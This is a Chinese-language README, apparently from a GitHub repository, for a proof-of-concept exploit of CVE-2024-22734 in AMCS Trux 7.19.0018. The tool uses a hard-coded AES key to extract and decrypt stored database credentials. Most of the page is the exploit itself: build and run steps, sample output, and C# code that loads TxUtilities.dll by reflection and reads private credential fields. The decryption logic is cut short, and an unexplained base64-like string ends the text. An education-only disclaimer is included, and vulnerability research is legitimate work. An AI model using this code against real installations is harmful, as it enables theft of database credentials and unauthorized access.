AMCS Trux 数据库凭证解密漏洞利用工具 (CVE-2024-22734)

4 阅读4分钟

AMCS Trux 数据库凭证解密漏洞利用工具 (CVE-2024-22734)

CVE-2024-22734转存失败,建议直接上传图片文件

项目描述

本项目是针对 AMCS Trux 软件(版本 7.19.0018)中一个未公开严重安全漏洞的概念验证(Proof of Concept)利用工具。该漏洞由 Bryan Smith(Redline Cyber Security)发现并分配编号 CVE-2024-22734

由于 AMCS Trux 应用程序在其 DLL 结构中使用了静态硬编码的 AES 密钥,导致本地攻击者能够通过反射加载技术,动态访问并解密存储在应用程序中的主数据库账户加密凭证。

⚠️ 重要声明
本工具仅用于教育和安全研究目的。严禁在未授权系统上使用,使用者需遵守相关法律法规。作者不对任何滥用行为或造成的损害负责。

功能特性

  • 动态程序集加载:通过 Assembly.LoadFrom 方法动态加载目标应用程序的 TxUtilities.dll
  • 反射访问私有成员:利用 .NET 反射机制绕过访问修饰符限制,读取类中的私有字段值。
  • 硬编码密钥提取:演示如何从程序结构中定位并提取静态硬编码的 AES 解密密钥。
  • 数据库凭证解密:成功获取加密的数据库用户名和密码,并进行解密输出。
  • 漏洞概念验证:完整展示 CVE-2024-22734 漏洞的利用路径和技术细节。

安装指南

系统要求

  • 操作系统:Windows(依赖 .NET Framework 环境)
  • 运行时环境:.NET Framework 4.5 或更高版本
  • 目标文件:AMCS Trux 安装目录下的 TxUtilities.dll 文件

安装步骤

  1. 克隆或下载项目代码

    git clone https://github.com/your-repo/CVE-2024-22734.git
    cd CVE-2024-22734
    
  2. 编译项目

    使用 Visual Studio 或 C# 编译器编译 Program.cs 文件:

    csc Program.cs
    

    或通过 Visual Studio 打开项目解决方案并生成可执行文件。

  3. 准备目标 DLL 文件

    确保 AMCS Trux 应用程序已安装,并将 TxUtilities.dll 文件复制到与编译后的可执行文件相同的目录下。

使用说明

基本用法

  1. 运行编译后的可执行文件

    DLLReflectionLoader.exe
    
  2. 程序执行流程

    • 控制台显示漏洞利用工具标题和说明信息
    • 自动加载当前目录下的 TxUtilities.dll
    • 通过反射获取 TxUtilities.Database 类型
    • 创建类型实例并访问私有字段
    • 提取并显示解密后的数据库凭证

典型使用场景

该工具适用于安全研究人员在获得授权后对 AMCS Trux 软件进行安全评估:

  • 内部安全审计:验证本地权限下数据库凭证是否可被非授权访问
  • 漏洞复现:安全团队验证 CVE-2024-22734 漏洞的实际影响
  • 防御测试:测试端点检测与响应(EDR)系统对反射加载行为的监控能力

输出示例

=========================================================
 AMCS TRUX 7.19.0018 (219580057) Exploit Proof of Concept
=========================================================
 This Proof of Concept (POC) exploits an undisclosed
 vulnerability in the AMCS Trux application. It is
 designed to derive encrypted database credentials
 and hard-coded decryption keys.
 Author: Bryan Smith, Redline Cyber Security
 CONFIDENTIAL USE ONLY
==============================================================

Loading TxUtilities.dll...
Accessing TxUtilities.Database class...
Creating an instance of the class...
Retrieving DB User...

核心代码

1. 程序集加载与类型获取

// 动态加载目标程序集
Assembly assembly = Assembly.LoadFrom("TxUtilities.dll");

// 获取目标类的类型信息
Type type = assembly.GetType("TxUtilities.Database");
if (type == null)
{
    Console.WriteLine("ERROR: Class not found.");
    return;
}

2. 反射创建实例并访问私有字段

// 创建类的实例
object classInstance = Activator.CreateInstance(type);

// 辅助方法:通过反射获取私有字段的值
public static T GetPrivateFieldValue<T>(Type type, object instance, string fieldName)
{
    FieldInfo field = type.GetField(fieldName, 
        BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static);
    if (field == null)
    {
        return default(T);
    }
    return (T)field.GetValue(instance);
}

// 获取私有字段值(字段名为 Unicode 转义字符)
string fieldValue3 = GetPrivateFieldValue<string>(type, classInstance, "\u0003");

3. 完整的程序入口结构

using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;

namespace DLLReflectionLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            // 显示漏洞利用工具标题和安全声明
            Console.WriteLine("=========================================================");
            Console.WriteLine(" AMCS TRUX 7.19.0018 (219580057) Exploit Proof of Concept");
            Console.WriteLine("=========================================================");
            Console.WriteLine(" This Proof of Concept (POC) exploits an undisclosed");
            Console.WriteLine(" vulnerability in the AMCS Trux application.");
            Console.WriteLine(" Author: Bryan Smith, Redline Cyber Security");
            Console.WriteLine("==============================================\n");

            // 加载程序集并获取类型
            Assembly assembly = Assembly.LoadFrom("TxUtilities.dll");
            Type type = assembly.GetType("TxUtilities.Database");
            
            // 创建实例并提取凭证
            object classInstance = Activator.CreateInstance(type);
            string dbUser = GetPrivateFieldValue<string>(type, classInstance, "\u0003");
            // ... 后续解密逻辑
        }
        
        // 反射辅助方法
        private static T GetPrivateFieldValue<T>(Type type, object instance, string fieldName)
        {
            FieldInfo field = type.GetField(fieldName, 
                BindingFlags.NonPublic | BindingFlags.Instance);
            return field != null ? (T)field.GetValue(instance) : default(T);
        }
    }
}

4. 程序集元信息配置

using System.Reflection;
using System.Runtime.InteropServices;

[assembly: AssemblyTitle("CVE-2024-22734")]
[assembly: AssemblyDescription("Exploit PoC for AMCS Trux credential decryption")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("CVE-2024-22734")]
[assembly: AssemblyCopyright("Copyright © 2024")]
[assembly: ComVisible(false)]
[assembly: Guid("94358719-a295-4220-b6f6-571d17fc1c20")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

6HFtX5dABrKlqXeO5PUv/88c+QEV8VQn3kdUuHBSt2Q=